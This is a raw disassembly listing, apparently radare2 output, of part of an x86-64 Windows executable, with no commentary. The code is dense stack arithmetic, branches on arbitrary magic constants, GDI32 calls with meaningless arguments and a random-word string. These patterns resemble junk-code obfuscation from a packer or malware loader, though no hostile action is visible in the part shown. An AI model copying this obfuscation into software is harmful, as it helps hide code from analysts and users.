mov dword [rsp + 0x1d48], eax
mov rax, qword [rsp + 0x3858]
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1d38], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
xor eax, ecx
mov byte [rsp + 0xda], al
mov eax, dword [rsp + 0x1d70]
sub eax, 0x76
mov dword [rsp + 0x1d70], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d2c]
mov ecx, dword [rsp + 0x1d38]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
jmp 0x140003d53
mov eax, dword [rsp + 0x1d64]
mov ecx, dword [rsp + 0x1d4c]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x1d48]
jb 0x140003fc1
mov eax, dword [rsp + 0x1d4c]
mov ecx, dword [rsp + 0x1d48]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x1d64]
jne 0x140003fc1
mov rax, qword [rsp + 0x37d8]
mov qword [rsp + 0x38a8], rax
movabs rax, 0x4ed6f1dc6effd39f
cmp qword [rsp + 0x38a8], rax
je 0x140003f21
jmp 0x140003fb1
mov eax, dword [rsp + 0x1d48]
mov dword [rsp + 0x1d80], eax
cmp dword [rsp + 0x1d80], 0x57e292aa
je 0x140003f4b
cmp dword [rsp + 0x1d80], 0x9ce827b5
je 0x140003f92
jmp 0x140003faf
movzx eax, byte [section..data]
sub eax, 0x2c
mov byte [section..data], al
mov rax, qword [rsp + 0x3850]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1d38]
mov rax, qword [rsp + 0x3858]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1d2c]
call fcn.1400e4430
nop
jmp 0x140003faf
mov rdx, qword [rsp + 0x38b0]
mov rcx, qword [rsp + 0x37f8]
call qword [sym.imp.GDI32.dll_PaintRgn]
mov dword [rsp + 0x1d84], eax
jmp 0x140003fc1
lea rax, [rsp + 0x37f0]
mov qword [rsp + 0x38b8], rax
movzx eax, word [rsp + 0x7e0]
mov dword [rsp + 0x1d88], eax
cmp dword [rsp + 0x1d88], 0xc50
je 0x14000400d
cmp dword [rsp + 0x1d88], 0xcbe
je 0x140003fec
jmp 0x14000406a
mov rax, qword [rsp + 0x3850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
jmp 0x14000406a
movsx eax, word [rsp + 0x644]
mov dword [rsp + 0x1d8c], eax
cmp dword [rsp + 0x1d8c], 0x2990
je 0x140004038
cmp dword [rsp + 0x1d8c], 0x7062
je 0x140004050
jmp 0x14000406a
mov rdx, qword [rsp + 0x3888]
movzx ecx, word [rsp + 0x7dc]
call fcn.1400e3de0
nop
jmp 0x14000406a
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d38]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d28], eax
mov rax, qword [rsp + 0x3870]
mov qword [rsp + 0x38c0], rax
movabs rax, 0x8412329e7a81bf06
cmp qword [rsp + 0x38c0], rax
je 0x140004093
jmp 0x140004138
mov rax, qword [rsp + 0x37d8]
mov qword [rsp + 0x38c8], rax
movabs rax, 0x6892dfd468e3f15b
cmp qword [rsp + 0x38c8], rax
je 0x1400040b9
jmp 0x1400040d5
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x37f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7e0], ax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
xor eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
jmp 0x1400e35b4
movzx eax, word [rsp + 0x7d4]
mov dword [rsp + 0x1d90], eax
cmp dword [rsp + 0x1d90], 0x9ae
je 0x140004159
jmp 0x1400041e8
call qword [sym.imp.GDI32.dll_GdiFlush]
mov dword [rsp + 0x1d94], eax
movzx r9d, word [rsp + 0x7e0]
movzx r8d, word [rsp + 0x7e0]
movzx edx, byte [section..data]
movzx ecx, byte [rsp + 0x68]
call fcn.1400e4f60
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
shl eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
lea rdx, [rsp + 0x3810]
mov rcx, qword [rsp + 0x3828]
call qword [sym.imp.GDI32.dll_GetWindowExtEx]
mov dword [rsp + 0x1d7c], eax
mov rax, qword [rsp + 0x3818]
movzx ecx, al
mov rax, qword [rsp + 0x3888]
sar rax, cl
mov qword [rsp + 0x37d8], rax
jmp 0x140004358
mov eax, dword [rsp + 0x1d38]
mov dword [rsp + 0x1d98], eax
cmp dword [rsp + 0x1d98], 0xffffffff
je 0x140004287
cmp dword [rsp + 0x1d98], 0x4f005132
je 0x140004216
jmp 0x140004358
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
lea r9, [rsp + 0x3818]
mov r8d, 0x36
mov edx, 0x72
mov rcx, qword [rsp + 0x37f8]
call qword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov dword [rsp + 0x1d84], eax
mov rax, qword [rsp + 0x3810]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x3810]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x1d48]
call fcn.1400e49a0
nop
jmp 0x140004358
movzx eax, byte [section..data]
mov byte [rsp + 0x1d9c], al
cmp byte [rsp + 0x1d9c], 0x24
je 0x1400042b2
cmp byte [rsp + 0x1d9c], 0x97
je 0x14000432e
jmp 0x14000434d
lea rax, [rsp + 0x3870]
mov qword [rsp + 0x38d0], rax
lea rax, [rsp + 0x1d2c]
mov qword [rsp + 0x38d8], rax
mov dword [rsp + 0x1da0], 0xd318
movzx eax, byte [section..data]
mov byte [rsp + 0xdb], al
lea rax, [rsp + 0x7dc]
mov qword [rsp + 0x38e0], rax
mov dword [rsp + 0x1da4], 0x82d8
mov dword [rsp + 0x1da8], 0x6781
mov dword [rsp + 0x1dac], 0x2e92
lea rax, [rsp + 0xdb]
mov qword [rsp + 0x38e8], rax
jmp 0x14000434d
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov dword [rsp + 0x1db0], 0xf8f1
cmp dword [rsp + 0x1d58], 0xc966
jb 0x14000456a
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d28], eax
mov rax, qword [rsp + 0x3888]
mov rcx, qword [rsp + 0x37d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3818], rax
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1d2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d58]
sub eax, 0x99
mov dword [rsp + 0x1d58], eax
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3870]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
and eax, ecx
mov word [rsp + 0x644], ax
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x68], al
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0x7d8]
sar eax, cl
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x3858]
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x3870]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x38d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7d4]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
movsx eax, word [rsp + 0x7d8]
movsx ecx, word [rsp + 0x644]
add eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
jmp 0x140004358
cmp dword [rsp + 0x1dac], 0x4f67
jae 0x14000484d
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1dac]
add eax, 0xcd
mov dword [rsp + 0x1dac], eax
movzx eax, word [rsp + 0x7d4]
movzx ecx, word [rsp + 0x7e0]
sub eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x3870]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x38b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d4c]
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x3850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d28]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
or eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x644]
sar eax, cl
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdb], al
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3870]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x37f0], rax
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1d2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3858]
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d28], eax
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
add eax, ecx
mov word [rsp + 0x644], ax
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [section..data], al
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3870]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
jmp 0x14000456a
lea rax, [rsp + 0x1d28]
mov qword [rsp + 0x38f0], rax
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov qword [rsp + 0x38f8], rax
movabs rax, 0xf4859732e353cb0e
cmp qword [rsp + 0x38f8], rax
je 0x140004889
jmp 0x14000497c
mov rcx, qword [rsp + 0x3828]
call qword [sym.imp.GDI32.dll_GetMapMode]
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov qword [rsp + 0x3900], rax
movabs rax, 0xf9de4f18bba606d6
cmp qword [rsp + 0x3900], rax
je 0x1400048c7
jmp 0x1400048e5
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
jmp 0x140004977
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7d4], ax
mov eax, dword [rsp + 0x1d48]
mov dword [rsp + 0x1db4], eax
cmp dword [rsp + 0x1db4], 0x41016473
je 0x14000491f
jmp 0x140004942
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x3870]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
jmp 0x140004977
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1d38]
mov rax, qword [rsp + 0x3850]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1d38]
call fcn.1400e4430
nop
jmp 0x1400e34f6
mov rax, qword [rsp + 0x3810]
movzx eax, byte [rax]
mov byte [rsp + 0x1db8], al
cmp byte [rsp + 0x1db8], 0
je 0x1400049a7
cmp byte [rsp + 0x1db8], 0x62
je 0x1400049e9
jmp 0x140004b21
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d38]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3818]
mov qword [rsp + 0x3908], rax
lea rax, [rsp + 0x1d64]
mov qword [rsp + 0x3910], rax
jmp 0x140004b21
mov dword [rsp + 0x40], ILAppendID
mov dword [rsp + 0x38], 0x68
mov dword [rsp + 0x30], 0x51
mov rax, qword [rsp + 0x3878]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf8
mov r9d, 0xe2
mov r8d, 0x3f
mov edx, 0x5b
mov rcx, qword [rsp + 0x3918]
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x1d94], eax
movsx eax, word [rsp + 0x7d8]
movsx ecx, word [rsp + 0x7dc]
add eax, ecx
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x644]
sub ecx, edx
cmp eax, ecx
je 0x140004ad9
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sar eax, cl
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
shl eax, cl
mov word [rsp + 0x7dc], ax
mov rax, qword [rsp + 0x3860]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x3880]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x38e8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3868]
movzx ecx, byte [rax]
call fcn.1400e4f60
nop
jmp 0x140004b21
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d28]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1d38]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140004b21
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
or eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
lea rax, [rsp + 0x7d8]
mov qword [rsp + 0x3920], rax
movzx eax, word [rsp + 0x7e0]
mov word [rsp + 0x7e4], ax
mov dword [rsp + 0x1dbc], 0xf6d8
mov rax, qword [rsp + 0x3870]
mov qword [0x1400fdf40], rax
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
mov dword [rsp + 0x1dc0], eax
cmp dword [rsp + 0x1dc0], 0
je 0x140004b7c
jmp 0x1400e33ca
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
sub eax, ecx
mov word [rsp + 0x7d8], ax
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov dword [rsp + 0x1dc4], eax
cmp dword [rsp + 0x1dc4], 0x409bdae7
je 0x140004bc8
jmp 0x140004c3b
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7d4], ax
mov dword [rsp + 0x40], ILAppendID
mov dword [rsp + 0x38], 0xd3
mov dword [rsp + 0x30], 0x43
mov dword [rsp + 0x28], 0x4c
mov dword [rsp + 0x20], 0xc1
mov r9d, 0xed
mov r8d, 0xe5
mov edx, ILCreateFromPathW
mov rcx, qword [rsp + 0x3828]
call qword [sym.imp.GDI32.dll_Chord]
mov dword [rsp + 0x1dc8], eax
jmp 0x140004de3
mov eax, dword [rsp + 0x1d2c]
mov dword [rsp + 0x1dcc], eax
cmp dword [rsp + 0x1dcc], 0x947002ef
je 0x140004c6c
cmp dword [rsp + 0x1dcc], 0x6881d43b
je 0x140004dc6
jmp 0x140004de3
mov rax, qword [rsp + 0x3818]
mov qword [rsp + 0x3928], rax
movabs rax, 0x1e517a608989594a
cmp qword [rsp + 0x3928], rax
je 0x140004d96
movabs rax, 0x604600c00e97ab6d
cmp qword [rsp + 0x3928], rax
je 0x140004cad
jmp 0x140004db9
mov eax, dword [rsp + 0x1d64]
mov dword [rsp + 0x1dd0], eax
cmp dword [rsp + 0x1dd0], 0x5a306a12
je 0x140004ccd
jmp 0x140004d61
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sar eax, cl
mov byte [rsp + 0xdc], al
lea rdx, [rsp + 0x37f0]
mov ecx, 0x72
call qword [sym.imp.GDI32.dll_SetMetaFileBitsEx]
mov qword [rsp + 0x3930], rax
mov rax, qword [rsp + 0x3870]
mov rcx, qword [rsp + 0x37f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3908]
mov rcx, qword [rsp + 0x3888]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3818], rax
jmp 0x140004d94
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3858]
mov qword [rsp + 0x3938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3938]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
jmp 0x140004db9
mov r8d, 0x8d
mov rdx, qword [rsp + 0x3940]
mov rcx, qword [rsp + 0x3948]
call qword [sym.imp.GDI32.dll_ExtSelectClipRgn]
mov dword [rsp + 0x1dd4], eax
mov dword [rsp + 0x1dd8], 0xf2e9
jmp 0x140004de3
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d4c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov qword [rsp + 0x3950], rax
cmp qword [rsp + 0x3950], 0
je 0x140004e06
jmp 0x140004f04
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x1ddc], al
cmp byte [rsp + 0x1ddc], 0
je 0x140004e24
jmp 0x140004eac
movzx eax, word [rsp + 0x7d4]
mov word [rsp + 0x7e8], ax
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov dword [rsp + 0x1de0], eax
cmp dword [rsp + 0x1de0], 0x845edb75
je 0x140004e54
jmp 0x140004eaa
movsx eax, word [rsp + 0x644]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7d8], ax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
sub eax, ecx
mov word [rsp + 0x644], ax
jmp 0x140004eff
xor r8d, r8d
mov rdx, qword [rsp + 0x3840]
mov rcx, qword [rsp + 0x37f8]
call qword [sym.imp.GDI32.dll_SelectPalette]
mov qword [rsp + 0x3898], rax
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1dd4]
mov r8d, dword [rsp + 0x1d28]
mov edx, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d2c]
call fcn.1400e4430
nop
jmp 0x140004fb1
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x1de4], al
cmp byte [rsp + 0x1de4], 0xbb
je 0x140004f1f
jmp 0x140004f94
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
lea r9, [rsp + 0x3920]
mov r8d, 0x7f
lea rdx, str.Preposterous_improvements_Chorals_exposing
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
mov dword [rsp + 0x1de8], eax
mov eax, dword [rsp + 0x1d48]
mov dword [rsp + 0x1d4c], eax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x38f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
jmp 0x140004fb1
lea rdx, [rsp + 0x3848]
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.GDI32.dll_GetMiterLimit]
mov dword [rsp + 0x1d7c], eax
movzx eax, word [rsp + 0x7e0]
mov dword [rsp + 0x1dec], eax
cmp dword [rsp + 0x1dec], 0
je 0x140004ffd
cmp dword [rsp + 0x1dec], 0x762
je 0x140004fdc
jmp 0x1400e3398
mov eax, dword [rsp + 0x1d64]
mov ecx, dword [rsp + 0x1d48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
jmp 0x1400e3398
movzx eax, word [rsp + 0x7e8]
mov dword [rsp + 0x1df0], eax
cmp dword [rsp + 0x1df0], 0
je 0x140005018
jmp 0x140005090
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov qword [rsp + 0x3958], rax
movzx eax, word [rsp + 0x7e0]
movzx ecx, word [rsp + 0x7e8]
sub eax, ecx
mov word [rsp + 0x7d4], ax
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x644], ax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400fd001], al
mov dword [rsp + 0x1df4], 0x2c75
jmp 0x1400050ef
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7e0], ax
mov r8d, 0x88
lea rdx, [rsp + 0x37e8]
mov rcx, qword [rsp + 0x3960]
call qword [sym.imp.GDI32.dll_Polyline]
mov dword [rsp + 0x1dc8], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
xor eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1da4]
add eax, 0x28
mov dword [rsp + 0x1da4], eax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [0x1400fd001]
or eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
shl eax, cl
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x37f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, word [rsp + 0x7d4]
movzx ecx, word [rsp + 0x7e8]
add eax, ecx
mov word [rsp + 0x7e4], ax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
add eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d4c]
mov ecx, dword [rsp + 0x1d48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x38b8]
mov qword [rsp + 0x3968], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3968]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x38d0]
